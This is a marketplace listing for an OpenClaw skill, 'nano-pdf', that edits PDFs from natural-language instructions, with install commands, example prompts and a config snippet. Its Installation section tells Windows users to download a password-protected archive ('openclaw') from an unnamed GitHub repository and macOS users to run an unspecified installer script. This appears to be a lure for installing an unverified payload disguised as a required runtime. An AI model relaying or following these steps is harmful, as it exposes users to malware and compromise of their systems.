nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
Why use this skill?
Efficiently edit and update PDF documents using natural-language commands. Install the nano-pdf OpenClaw skill to automate text corrections and document updates.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/nano-pdf-mns57What This Skill Does
The nano-pdf skill is a powerful automation utility for OpenClaw that allows users to perform precise document modifications using plain natural-language instructions. By bridging the gap between high-level human intent and low-level PDF manipulation, this skill eliminates the need for manual editing software. Whether you need to update meeting slide decks, correct typographical errors in professional reports, or rename headers on existing files, nano-pdf streamlines these complex tasks into a single terminal-based workflow.
Installation
Installation requires two distinct components: the OpenClawProvider runtime and the specific skill package.
- Prerequisites: Ensure you have
OpenClawProviderinstalled. On Windows, download the archive from the official GitHub repository using the password 'openclaw'. For MacOS users, execute the provided installer script in your terminal to configure the environment. - Skill Installation: Once the provider is active, run the following command in your terminal:
clawhub install openclaw/skills/skills/sakaen736jih/nano-pdf-mns57. - Verification: Verify the installation by running
nano-pdf --helpto ensure the environment path is correctly configured.
Use Cases
- Automated Reporting: Update quarterly results or financial KPIs across dozens of PDF documents without opening each one manually.
- Content Sanitization: Quickly remove or replace sensitive placeholders or typos in generated documents before distribution.
- Batch Iteration: Apply consistent branding changes or title updates across entire project documentation directories.
Example Prompts
- "nano-pdf, open finance_report.pdf, go to page 5, and change the budget table header from 'Estimated' to 'Actuals'."
- "Edit the document 'onboarding.pdf' on the first page, update the 'Date' field to today and fix the typo where it says 'Welcom' to 'Welcome'."
- "Apply a change to page 12 of project_charter.pdf: swap the project sponsor name to 'Sarah Jenkins' and correct the date format."
Tips & Limitations
- Indexing: Page indexing can be tricky. Depending on your configuration, the tool may default to 0-based indexing. If your edit lands on the wrong page, try incrementing your target page number by one.
- Complexity: While effective for text-based modifications, this tool is best suited for light editing. Complex layered graphics or encrypted PDFs may not support direct natural-language injection.
- Verification: Always inspect the resulting file before sharing. Although highly accurate, LLM-based instructions should be sanity-checked against the original source to ensure visual layout integrity.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-nano-pdf-mns57": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
Related Skills
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.